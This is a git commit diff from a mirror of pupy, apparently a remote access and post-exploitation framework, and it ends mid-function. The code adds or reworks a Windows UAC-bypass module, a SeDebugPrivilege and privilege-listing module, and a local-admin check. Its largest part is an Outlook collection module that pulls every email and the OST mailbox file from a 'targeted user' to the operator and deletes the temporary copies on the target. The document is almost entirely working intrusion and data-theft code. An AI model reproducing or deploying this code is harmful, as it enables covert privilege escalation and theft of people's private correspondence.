mirror of https://github.com/n1nj4sec/pupy.git
Merge branch 'master' of https://github.com/quentinhardy/pupy into quentinhardy-master
This commit is contained in:
commit
8df5c9ccad
|
@ -12,7 +12,7 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
|
|||
|
||||
@config(compat="windows", category="privesc")
|
||||
class BypassUAC(PupyModule):
|
||||
""" try to bypass UAC with Invoke-BypassUAC.ps1, from Empire """
|
||||
"""try to bypass UAC with sysprep or eventvwr method"""
|
||||
dependencies=["psutil", "pupwinutils.processes"]
|
||||
METHODS = ["eventvwr", "sysprep"]
|
||||
def init_argparse(self):
|
||||
|
|
|
@ -6,6 +6,7 @@ __class_name__="GetInfo"
|
|||
@config(cat="gather")
|
||||
class GetInfo(PupyModule):
|
||||
""" get some informations about one or multiple clients """
|
||||
dependencies=["psutil", "pupwinutils.security"]
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='get_info', description=self.__doc__)
|
||||
#self.arg_parser.add_argument('arguments', nargs='+', metavar='<command>')
|
||||
|
@ -21,6 +22,14 @@ class GetInfo(PupyModule):
|
|||
if self.client.is_windows():
|
||||
for k in windKeys:
|
||||
infos+="{:<10}: {}\n".format(k,self.client.desc[k])
|
||||
currentUserIsLocalAdmin = self.client.conn.modules["pupwinutils.security"].can_get_admin_access()
|
||||
desc = "local_adm"
|
||||
if currentUserIsLocalAdmin == True:
|
||||
infos+="{:<10}: {}\n".format(desc,"Yes")
|
||||
elif currentUserIsLocalAdmin == False:
|
||||
infos+="{:<10}: {}\n".format(desc,"No")
|
||||
else:
|
||||
infos+="{:<10}: {}\n".format(desc,"?")
|
||||
elif self.client.is_linux():
|
||||
for k in linuxKeys:
|
||||
infos+="{:<10}: {}\n".format(k,self.client.desc[k])
|
||||
|
|
|
@ -1,16 +1,26 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
#Author: @n1nj4sec
|
||||
#Contributor(s): @bobsecq
|
||||
|
||||
from pupylib.PupyModule import *
|
||||
|
||||
__class_name__="GetPrivsModule"
|
||||
|
||||
@config(compat=["windows"], cat="manage")
|
||||
class GetPrivsModule(PupyModule):
|
||||
""" try to get SeDebugPrivilege for the current process """
|
||||
""" Manage current process privileges """
|
||||
dependencies=["psutil", "pupwinutils.security"]
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="getprivs", description=self.__doc__)
|
||||
self.arg_parser.add_argument('--get-debug', dest='getdebug', action='store_true', help="Try to get SeDebugPrivilege for the current process")
|
||||
|
||||
def run(self, args):
|
||||
self.client.conn.modules["pupwinutils.security"].EnablePrivilege("SeDebugPrivilege")
|
||||
self.success("SeDebugPrivilege enabled !")
|
||||
if args.getdebug == True:
|
||||
self.client.conn.modules["pupwinutils.security"].EnablePrivilege("SeDebugPrivilege")
|
||||
self.success("SeDebugPrivilege enabled !")
|
||||
else:
|
||||
privs = self.client.conn.modules["pupwinutils.security"].get_currents_privs()
|
||||
self.success("Process privileges:")
|
||||
for aPriv in privs:
|
||||
print " - "+str(aPriv)
|
||||
|
||||
|
|
|
@ -4,17 +4,20 @@
|
|||
|
||||
import os
|
||||
from pupylib.PupyModule import *
|
||||
from rpyc.utils.classic import upload
|
||||
from modules.lib.windows.outlook import outlook
|
||||
from rpyc.utils.classic import download
|
||||
from pupylib.utils.term import colorize
|
||||
__class_name__="Outlook"
|
||||
|
||||
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
|
||||
|
||||
@config(compat="windows", category="gather")
|
||||
class Outlook(PupyModule):
|
||||
'''
|
||||
'''
|
||||
""" interact with Outlook session of the targeted user """
|
||||
dependencies=["win32api","win32com","pythoncom","winerror"]
|
||||
|
||||
OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8}
|
||||
OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5}
|
||||
|
||||
def init_argparse(self):
|
||||
'''
|
||||
'''
|
||||
|
@ -23,57 +26,77 @@ class Outlook(PupyModule):
|
|||
self.arg_parser.add_argument('-l', dest='foldersAndSubFolders', action='store_true', help="Get Outlook folders and subfolders")
|
||||
self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)")
|
||||
self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen with MAPI (see options below)")
|
||||
self.arg_parser.add_argument('-t', dest='doawnloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)")
|
||||
self.arg_parser.add_argument('-t', dest='downloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)")
|
||||
self.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)")
|
||||
self.arg_parser.add_argument('-folder-default', choices=list(outlook.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)")
|
||||
self.arg_parser.add_argument('-folder-default', choices=list(self.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)")
|
||||
self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)")
|
||||
self.arg_parser.add_argument('-otype', choices=list(outlook.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)")
|
||||
self.arg_parser.add_argument('-otype', choices=list(self.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)")
|
||||
|
||||
def run(self, args):
|
||||
'''
|
||||
'''
|
||||
try:
|
||||
self.client.conn.modules['win32com.client'].Dispatch("Outlook.Application").GetNamespace("MAPI")
|
||||
self.success("Outlook application seems to be installed on the target")
|
||||
except Exception,e:
|
||||
logging.info("Outlook Application is probably not installed on this target. Impossible to continue...\n{0}".format(repr(e)))
|
||||
self.client.load_package("outlook")
|
||||
localFolder=args.localOutputFolder
|
||||
self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'].encode('utf-8'), self.client.desc['user'].encode('utf-8'), self.client.desc['macaddr'].encode('utf-8').replace(':','')))
|
||||
if not os.path.exists(self.localFolder):
|
||||
logging.debug("Creating the {0} folder locally".format(self.localFolder))
|
||||
os.makedirs(self.localFolder)
|
||||
if args.folderId != None:
|
||||
self.warning('Notice the folder Id option will be used and the default folder option will be disabled')
|
||||
outlook = self.client.conn.modules['outlook'].outlook(folderIndex=self.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType)
|
||||
if args.downloadOST == True:
|
||||
self.success("Trying to download Outlook OST file of the targeted current user")
|
||||
paths = outlook.getPathToOSTFiles()
|
||||
if len(paths)>0:
|
||||
localPath = os.path.join(self.localFolder, ''.join(l for l in paths[0][0].encode('ascii','ignore') if l.isalnum()))
|
||||
self.success("Downloading the file {0} to {1}...".format(paths[0][1], localPath))
|
||||
download(self.client.conn, paths[0][1], localPath)
|
||||
self.success("OST file downloaded from {0} to {1}".format(paths[0][1], localPath))
|
||||
else:
|
||||
self.error("OST file not found or an error occured")
|
||||
if outlook.outlookIsInstalled() == True:
|
||||
self.success("Outlook application seems to be installed on the target, trying to connect to MAPI...")
|
||||
if outlook.connect() == True:
|
||||
self.success("Connected to outlook application trough MAPI")
|
||||
else:
|
||||
self.error("Impossible to connect to outlook application trough MAPI. Abording!")
|
||||
return
|
||||
else:
|
||||
self.error("Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!")
|
||||
return
|
||||
if args.information == True:
|
||||
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder])
|
||||
info = outl.getInformation()
|
||||
info = outlook.getInformation()
|
||||
for key, value in info.iteritems():
|
||||
self.success("{0}: {1}".format(key, value))
|
||||
outl.close()
|
||||
if args.folderId != None:
|
||||
self.warning('Notice the folder Id option will be used and the default folder option will be disabled')
|
||||
if args.foldersAndSubFolders == True:
|
||||
self.success("Outlook folders and subfolders:")
|
||||
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder])
|
||||
outl.printFoldersAndSubFolders()
|
||||
outl.close()
|
||||
foldersAndSubFolders = outlook.getAllFolders()
|
||||
for i,folder in enumerate(foldersAndSubFolders):
|
||||
print "{0}: {1}".format(i, folder.encode('utf-8'))
|
||||
for j,subFolder in enumerate(foldersAndSubFolders[folder]):
|
||||
print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8'))
|
||||
if args.numberOfEmails == True:
|
||||
self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder))
|
||||
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId)
|
||||
self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, outl.getNbOfEmails()))
|
||||
outl.close()
|
||||
nb = outlook.getNbOfEmails()
|
||||
self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, nb))
|
||||
if args.downloadAllEmails == True:
|
||||
self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder))
|
||||
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType)
|
||||
nb = outl.getNbOfEmails()
|
||||
nb = outlook.getNbOfEmails()
|
||||
if nb == 0:
|
||||
self.error("This box is empty. You should choose another outlook folder")
|
||||
else:
|
||||
self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder))
|
||||
self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.")
|
||||
self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)")
|
||||
outl.downloadAllEmails()
|
||||
outl.close()
|
||||
if args.doawnloadOST == True:
|
||||
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], autoConnectToMAPI=False)
|
||||
self.success("Trying to download Outlook OST file of the targeted current user")
|
||||
path = outl.downloadOSTFile()
|
||||
if path == None:
|
||||
self.error("OST file not found or an error occured")
|
||||
else:
|
||||
self.success("OST file downloaded from {0} to {1}".format(path, outl.localFolder))
|
||||
logging.debug("Downloading all emails")
|
||||
for i, anEmail in enumerate(outlook.getEmails()):
|
||||
aPathToMailFile, filename = outlook.getAMailFile(anEmail)
|
||||
sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,outlook.getNbOfEmails(), colorize("[+] ","green")))
|
||||
sys.stdout.flush()
|
||||
localPathToFile = os.path.join(self.localFolder, filename)
|
||||
logging.debug("Downloading the file {0} to {1}".format(aPathToMailFile, localPathToFile))
|
||||
download(self.client.conn, aPathToMailFile, localPathToFile)
|
||||
logging.debug("Deleting {0}".format(aPathToMailFile))
|
||||
outlook.deleteTempMailFile(aPathToMailFile)
|
||||
print "\n"
|
||||
outlook.close()
|
||||
|
|
|
@ -3,9 +3,10 @@
|
|||
#Contributor(s):
|
||||
|
||||
import os, logging, sys, time
|
||||
from rpyc.utils.classic import download
|
||||
from pupylib.utils.term import colorize
|
||||
from collections import OrderedDict
|
||||
import win32com
|
||||
import win32com.client
|
||||
import glob
|
||||
|
||||
class outlook():
|
||||
'''
|
||||
|
@ -16,13 +17,11 @@ class outlook():
|
|||
OL_ACCOUNT_TYPES = {4:'olEas',0:'olExchange',3:'olHttp',1:'olImap',5:'olOtherAccount',2:'olPop3'}
|
||||
OL_EXCHANGE_CONNECTION_MODE = {100:'olOffline',500:'olOnline',200:'olDisconnected',300:'olConnectedHeaders',400:'olConnected',0:'olNoExchange'}
|
||||
|
||||
def __init__(self, module, rootPupyPath, localFolder="output/", folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG', autoConnectToMAPI=True):
|
||||
def __init__(self, folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG'):
|
||||
'''
|
||||
'''
|
||||
self.module = module
|
||||
self.outlook = None
|
||||
self.mapi = None
|
||||
self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.module.client.desc['hostname'].encode('utf-8'), self.module.client.desc['user'].encode('utf-8'), self.module.client.desc['macaddr'].encode('utf-8').replace(':','')))
|
||||
self.foldersAndSubFolders = None
|
||||
self.folderId = folderId
|
||||
self.folderIndex = folderIndex
|
||||
|
@ -30,24 +29,34 @@ class outlook():
|
|||
self.inbox = None
|
||||
self.constants = None
|
||||
self.sleepTime = sleepTime
|
||||
self.remoteTempFolder = self.module.client.conn.modules['os.path'].expandvars("%TEMP%")
|
||||
if autoConnectToMAPI == True : self.__connect__()
|
||||
if not os.path.exists(self.localFolder):
|
||||
logging.debug("Creating the {0} folder locally".format(self.localFolder))
|
||||
os.makedirs(self.localFolder)
|
||||
self.remoteTempFolder = os.path.expandvars("%TEMP%")
|
||||
|
||||
def __connect__(self):
|
||||
def outlookIsInstalled(self):
|
||||
'''
|
||||
returns True if Outlook is installed
|
||||
otherwise returns False
|
||||
'''
|
||||
try:
|
||||
win32com.client.Dispatch("Outlook.Application").GetNamespace("MAPI")
|
||||
return True
|
||||
except Exception,e:
|
||||
return False
|
||||
|
||||
|
||||
def connect(self):
|
||||
'''
|
||||
Returns True if no error
|
||||
Otherise returns False
|
||||
'''
|
||||
|
||||
self.outlook = self.module.client.conn.modules['win32com.client'].Dispatch("Outlook.Application")
|
||||
#self.outlook = self.module.client.conn.modules['win32com.client.gencache'].EnsureDispatch("Outlook.Application")
|
||||
self.mapi = self.outlook.GetNamespace("MAPI")
|
||||
if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex)
|
||||
else : self.setFolderFromId(folderId=self.folderId)
|
||||
return True
|
||||
try:
|
||||
self.outlook = win32com.client.Dispatch("Outlook.Application")
|
||||
#self.outlook = win32com.client.gencache.EnsureDispatch("Outlook.Application")
|
||||
self.mapi = self.outlook.GetNamespace("MAPI")
|
||||
if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex)
|
||||
else : self.setFolderFromId(folderId=self.folderId)
|
||||
return True
|
||||
except Exception,e:
|
||||
return False
|
||||
|
||||
def close(self):
|
||||
'''
|
||||
|
@ -119,27 +128,6 @@ class outlook():
|
|||
logging.debug("Moving outlook default folder to {0}".format(folderId))
|
||||
self.inbox = self.mapi.GetFolderFromID(folderId)
|
||||
return True
|
||||
|
||||
"""
|
||||
def getAnEmail(self, nb):
|
||||
'''
|
||||
nb: number of the email
|
||||
nb>=1
|
||||
'''
|
||||
return self.inbox.Items[nb]
|
||||
"""
|
||||
|
||||
"""
|
||||
def getEmailsWithSubject(self, subject):
|
||||
'''
|
||||
Returns a list which contains all emails (mailItem objects) when subject is in the email subject
|
||||
'''
|
||||
emails = []
|
||||
for anEmail in self.inbox.Items:
|
||||
if subject in anEmail.Subject:
|
||||
emails.append(anEmail)
|
||||
return emails
|
||||
"""
|
||||
|
||||
def getEmails(self):
|
||||
'''
|
||||
|
@ -151,8 +139,9 @@ class outlook():
|
|||
emails.append(anEmail)
|
||||
return emails
|
||||
|
||||
def downloadAnEmail(self, mailItem):
|
||||
def getAMailFile(self, mailItem):
|
||||
'''
|
||||
return pathToAMailFileOnTarget, nameOftheMailFile
|
||||
'''
|
||||
ctime, subjectCleaned, receivedTime, path, filename = str(time.time()).replace('.',''), "Unknown", "Unknown", "", ""
|
||||
try:
|
||||
|
@ -161,28 +150,21 @@ class outlook():
|
|||
except Exception,e:
|
||||
logging.warning("Impossible to encode email subject or receivedTime:{0}".format(repr(e)))
|
||||
filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg')
|
||||
path = self.module.client.conn.modules['os.path'].join(self.remoteTempFolder,filename)
|
||||
path = os.path.join(self.remoteTempFolder,filename)
|
||||
logging.debug('Saving temporarily the email on the remote path {0}'.format(path))
|
||||
#mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG'])
|
||||
mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType])
|
||||
try:
|
||||
self.module.client.conn.modules['os'].rename(path, path) #test if the file is not opened by another process
|
||||
os.rename(path, path) #test if the file is not opened by another process
|
||||
except OSError as e:
|
||||
time.sleep(self.sleepTime)
|
||||
logging.debug("Downloading the file {0} to {1}".format(path, self.localFolder))
|
||||
download(self.module.client.conn, path, os.path.join(self.localFolder, filename))
|
||||
logging.debug("Deleting {0}".format(path))
|
||||
self.module.client.conn.modules.os.remove(path)
|
||||
|
||||
def downloadAllEmails(self):
|
||||
return path, filename
|
||||
|
||||
|
||||
def deleteTempMailFile(self,path):
|
||||
'''
|
||||
'''
|
||||
logging.debug("Downloading all emails")
|
||||
for i, anEmail in enumerate(self.getEmails()):
|
||||
self.downloadAnEmail(anEmail)
|
||||
sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,self.getNbOfEmails(), colorize("[+] ","green")))
|
||||
sys.stdout.flush()
|
||||
print "\n"
|
||||
os.remove(path)
|
||||
|
||||
"""
|
||||
def getAllSubjects(self):
|
||||
|
@ -203,7 +185,7 @@ class outlook():
|
|||
logging.debug("Getting number of emails... {0} emails".format(nb))
|
||||
return nb
|
||||
|
||||
def __getAllFolders__(self):
|
||||
def getAllFolders(self):
|
||||
'''
|
||||
'''
|
||||
folders = {}
|
||||
|
@ -216,15 +198,6 @@ class outlook():
|
|||
folders[folder.Name][subfolder.Name]=subfolder.EntryID
|
||||
return folders
|
||||
|
||||
def printFoldersAndSubFolders(self):
|
||||
'''
|
||||
'''
|
||||
foldersAndSubFolders = self.__getAllFolders__()
|
||||
for i,folder in enumerate(foldersAndSubFolders):
|
||||
print "{0}: {1}".format(i, folder.encode('utf-8'))
|
||||
for j,subFolder in enumerate(foldersAndSubFolders[folder]):
|
||||
print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8'))
|
||||
|
||||
|
||||
def getPathToOSTFiles(self):
|
||||
'''
|
||||
|
@ -234,58 +207,15 @@ class outlook():
|
|||
DEFAULT_LOCATIONS_OST = ["<drive>:\Users\<username>\AppData\Local\Microsoft\Outlook",
|
||||
"<drive>:\Documents and Settings\<username>\Local Settings\Application Data\Microsoft\Outlook"
|
||||
]
|
||||
systemDrive = self.module.client.conn.modules['os'].getenv("SystemDrive")
|
||||
login = self.module.client.conn.modules['os'].getenv("username")
|
||||
systemDrive = os.getenv("SystemDrive")
|
||||
login = os.getenv("username")
|
||||
for aLocationOST in DEFAULT_LOCATIONS_OST :
|
||||
completeLocationOST = aLocationOST.replace("<drive>",systemDrive[:-1]).replace("<username>",login)
|
||||
regex = self.module.client.conn.modules['os.path'].join(completeLocationOST,"*.ost")
|
||||
regex = os.path.join(completeLocationOST,"*.ost")
|
||||
logging.debug('Searching OST file in {0}'.format(regex))
|
||||
files = self.module.client.conn.modules['glob'].glob(regex)
|
||||
files = glob.glob(regex)
|
||||
for aFile in files:
|
||||
ostFileFound = self.module.client.conn.modules['os.path'].join(completeLocationOST,aFile)
|
||||
ostFileFound = os.path.join(completeLocationOST,aFile)
|
||||
logging.info('OST file found in {0}'.format(ostFileFound))
|
||||
paths.append(ostFileFound)
|
||||
paths.append([os.path.basename(aFile), ostFileFound])
|
||||
return paths
|
||||
|
||||
def downloadOSTFile(self):
|
||||
'''
|
||||
Return file downloaded or None
|
||||
'''
|
||||
paths = self.getPathToOSTFiles()
|
||||
if len(paths)>0:
|
||||
filename = self.module.client.conn.modules['os.path'].basename(paths[0])
|
||||
logging.debug("Downloading the file {0} to {1}".format(paths[0], self.localFolder))
|
||||
download(self.module.client.conn, paths[0], os.path.join(self.localFolder, filename))
|
||||
return paths[0]
|
||||
else:
|
||||
return None
|
||||
|
||||
|
||||
"""
|
||||
def __getRecipientsAddresses__(self, RecipientsObject):
|
||||
'''
|
||||
'''
|
||||
recipients = []
|
||||
for aRecipient in RecipientsObject:
|
||||
recipients.append(aRecipient.Address)
|
||||
return recipients
|
||||
|
||||
def __getSenderAddress__(self, mailItem):
|
||||
'''
|
||||
'''
|
||||
if mailItem.SenderEmailType=='EX':
|
||||
try:
|
||||
return mailItem.Sender.GetExchangeUser().PrimarySmtpAddress
|
||||
except Exception,e:
|
||||
logging.warning("Impossible to get sender email address: {0}".format(e))
|
||||
return mailItem.SenderEmailAddress
|
||||
|
||||
def printMailItem(self, mailItem):
|
||||
'''
|
||||
'''
|
||||
print "ReceivedTime: {0}".format(mailItem.ReceivedTime)
|
||||
#print "Sender: {0}".format(self.__getSenderAddress__(mailItem))
|
||||
#print "Recipients: {0}".format(self.__getRecipientsAddresses__(mailItem.Recipients))
|
||||
print "Subject: {0}".format(repr(mailItem.Subject))
|
||||
print "Body: {0}".format(repr(mailItem.Body))
|
||||
"""
|
|
@ -1,8 +1,12 @@
|
|||
#original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py
|
||||
# -*- coding: UTF8 -*-
|
||||
#Author: ??? and original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py
|
||||
#Contributor(s): @bobsecq
|
||||
|
||||
import sys, os
|
||||
from ctypes import *
|
||||
import subprocess
|
||||
import psutil
|
||||
import ctypes
|
||||
|
||||
LPVOID = c_void_p
|
||||
PVOID = LPVOID
|
||||
|
@ -36,11 +40,22 @@ TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
|
|||
|
||||
PROCESS_QUERY_INFORMATION = 0x0400
|
||||
|
||||
class TOKEN_INFORMATION_CLASS:
|
||||
#see http://msdn.microsoft.com/en-us/library/aa379626%28VS.85%29.aspx
|
||||
TokenUser = 1
|
||||
TokenGroups = 2
|
||||
TokenPrivileges = 3
|
||||
|
||||
class LUID(Structure):
|
||||
_fields_ = [
|
||||
("LowPart", DWORD),
|
||||
("HighPart", LONG),
|
||||
]
|
||||
def __eq__(self, other):
|
||||
return (self.HighPart == other.HighPart and self.LowPart == other.LowPart)
|
||||
|
||||
def __ne__(self, other):
|
||||
return not (self==other)
|
||||
|
||||
class SID_AND_ATTRIBUTES(Structure):
|
||||
_fields_ = [
|
||||
|
@ -51,18 +66,63 @@ class SID_AND_ATTRIBUTES(Structure):
|
|||
class TOKEN_USER(Structure):
|
||||
_fields_ = [
|
||||
("User", SID_AND_ATTRIBUTES),]
|
||||
|
||||
SE_PRIVILEGE_ENABLED_BY_DEFAULT = (0x00000001)
|
||||
SE_PRIVILEGE_ENABLED = (0x00000002)
|
||||
SE_PRIVILEGE_REMOVED = (0x00000004)
|
||||
SE_PRIVILEGE_USED_FOR_ACCESS = (0x80000000)
|
||||
|
||||
LookupPrivilegeName = ctypes.windll.advapi32.LookupPrivilegeNameW
|
||||
LookupPrivilegeName.argtypes = (
|
||||
wintypes.LPWSTR, # lpSystemName
|
||||
ctypes.POINTER(LUID), # lpLuid
|
||||
wintypes.LPWSTR, # lpName
|
||||
ctypes.POINTER(wintypes.DWORD), #cchName
|
||||
)
|
||||
LookupPrivilegeName.restype = wintypes.BOOL
|
||||
|
||||
class LUID_AND_ATTRIBUTES(Structure):
|
||||
_fields_ = [
|
||||
("Luid", LUID),
|
||||
("Attributes", DWORD),
|
||||
]
|
||||
def is_enabled(self):
|
||||
return bool(self.Attributes & SE_PRIVILEGE_ENABLED)
|
||||
|
||||
def enable(self):
|
||||
self.Attributes |= SE_PRIVILEGE_ENABLED
|
||||
|
||||
def get_name(self):
|
||||
size = wintypes.DWORD(10240)
|
||||
buf = ctypes.create_unicode_buffer(size.value)
|
||||
res = LookupPrivilegeName(None, self.Luid, buf, size)
|
||||
if res == 0: raise RuntimeError
|
||||
return buf[:size.value]
|
||||
|
||||
def __str__(self):
|
||||
res = self.get_name()
|
||||
if self.is_enabled(): res += ' (enabled)'
|
||||
return res
|
||||
|
||||
class TOKEN_PRIVILEGES(Structure):
|
||||
_fields_ = [
|
||||
("PrivilegeCount", DWORD),
|
||||
("Privileges", LUID_AND_ATTRIBUTES),
|
||||
]
|
||||
|
||||
class TOKEN_PRIVS(Structure):
|
||||
_fields_ = [
|
||||
("PrivilegeCount", DWORD),
|
||||
("Privileges", LUID_AND_ATTRIBUTES*0),
|
||||
]
|
||||
def get_array(self):
|
||||
array_type = LUID_AND_ATTRIBUTES*self.PrivilegeCount
|
||||
privileges = ctypes.cast(self.Privileges, ctypes.POINTER(array_type)).contents
|
||||
return privileges
|
||||
|
||||
def __iter__(self):
|
||||
return iter(self.get_array())
|
||||
|
||||
|
||||
class PROCESS_INFORMATION(Structure):
|
||||
_fields_ = [
|
||||
|
@ -190,6 +250,22 @@ def getProcessToken(pid):
|
|||
windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken))
|
||||
windll.kernel32.CloseHandle(hProcess)
|
||||
return hToken
|
||||
|
||||
def get_process_token():
|
||||
"""
|
||||
Get the current process token
|
||||
"""
|
||||
GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess
|
||||
GetCurrentProcess.restype = wintypes.HANDLE
|
||||
OpenProcessToken = ctypes.windll.advapi32.OpenProcessToken
|
||||
OpenProcessToken.argtypes = (wintypes.HANDLE, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE))
|
||||
OpenProcessToken.restype = wintypes.BOOL
|
||||
token = wintypes.HANDLE()
|
||||
TOKEN_ALL_ACCESS = 0xf01ff
|
||||
res = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token)
|
||||
if not res > 0:
|
||||
raise RuntimeError("Couldn't get process token")
|
||||
return token
|
||||
|
||||
def gethTokenFromPid(pid):
|
||||
try:
|
||||
|
@ -366,3 +442,93 @@ def rev2self():
|
|||
pass
|
||||
global_ref=None
|
||||
print "\t[+] Running as: " + GetUserName()
|
||||
|
||||
def get_currents_privs():
|
||||
'''
|
||||
Get all privileges associated with the current process.
|
||||
'''
|
||||
GetTokenInformation = ctypes.windll.advapi32.GetTokenInformation
|
||||
GetTokenInformation.argtypes = [
|
||||
wintypes.HANDLE, # TokenHandleTOKEN_PRIV
|
||||
ctypes.c_uint, # TOKEN_INFORMATION_CLASS value
|
||||
ctypes.c_void_p, # TokenInformation
|
||||
wintypes.DWORD, # TokenInformationLength
|
||||
ctypes.POINTER(wintypes.DWORD), # ReturnLength
|
||||
]
|
||||
GetTokenInformation.restype = wintypes.BOOL
|
||||
return_length = wintypes.DWORD()
|
||||
params = [
|
||||
get_process_token(),
|
||||
TOKEN_INFORMATION_CLASS.TokenPrivileges,
|
||||
None,
|
||||
0,
|
||||
return_length,
|
||||
]
|
||||
res = GetTokenInformation(*params)
|
||||
buffer = ctypes.create_string_buffer(return_length.value)
|
||||
params[2] = buffer
|
||||
params[3] = return_length.value
|
||||
res = GetTokenInformation(*params)
|
||||
assert res > 0, "Error in second GetTokenInformation (%d)" % res
|
||||
privileges = ctypes.cast(buffer, ctypes.POINTER(TOKEN_PRIVS)).contents
|
||||
return privileges
|
||||
|
||||
def can_get_admin_access():
|
||||
"""
|
||||
Check if the user may be able to get administrator access.
|
||||
Returns True if the user is in the administrator's group.
|
||||
Otherwise returns False
|
||||
"""
|
||||
SECURITY_MAX_SID_SIZE = 68
|
||||
WinBuiltinAdministratorsSid = 26
|
||||
ERROR_NO_SUCH_LOGON_SESSION = 1312
|
||||
ERROR_PRIVILEGE_NOT_HELD = 1314
|
||||
TokenLinkedToken = 19
|
||||
# On XP or lower this is equivalent to has_root()
|
||||
if sys.getwindowsversion()[0] < 6:
|
||||
return bool(ctypes.windll.shell32.IsUserAnAdmin())
|
||||
# On Vista or higher, there's the whole UAC token-splitting thing.
|
||||
# Many thanks for Junfeng Zhang for the workflow: htttp://blogs.msdn.com/junfeng/archive/2007/01/26/how-to-tell-if-the-current-user-is-in-administrators-group-programmatically.aspx
|
||||
proc = ctypes.windll.kernel32.GetCurrentProcess()
|
||||
# Get the token for the current process.
|
||||
try:
|
||||
token = ctypes.wintypes.HANDLE()
|
||||
ctypes.windll.advapi32.OpenProcessToken(proc,TOKEN_QUERY,byref(token))
|
||||
try:
|
||||
# Get the administrators SID.
|
||||
sid = ctypes.create_string_buffer(SECURITY_MAX_SID_SIZE)
|
||||
sz = ctypes.wintypes.DWORD(SECURITY_MAX_SID_SIZE)
|
||||
target_sid = WinBuiltinAdministratorsSid
|
||||
ctypes.windll.advapi32.CreateWellKnownSid(target_sid,None,byref(sid),byref(sz))
|
||||
# Check whether the token has that SID directly.
|
||||
has_admin = ctypes.wintypes.BOOL()
|
||||
ctypes.windll.advapi32.CheckTokenMembership(None,byref(sid),byref(has_admin))
|
||||
if has_admin.value:
|
||||
return True
|
||||
# Get the linked token. Failure may mean no linked token.
|
||||
lToken = ctypes.wintypes.HANDLE()
|
||||
try:
|
||||
cls = TokenLinkedToken
|
||||
ctypes.windll.advapi32.GetTokenInformation(token,cls,byref(lToken),sizeof(lToken),byref(sz))
|
||||
except WindowsError, e:
|
||||
if e.winerror == ERROR_NO_SUCH_LOGON_SESSION:
|
||||
return False
|
||||
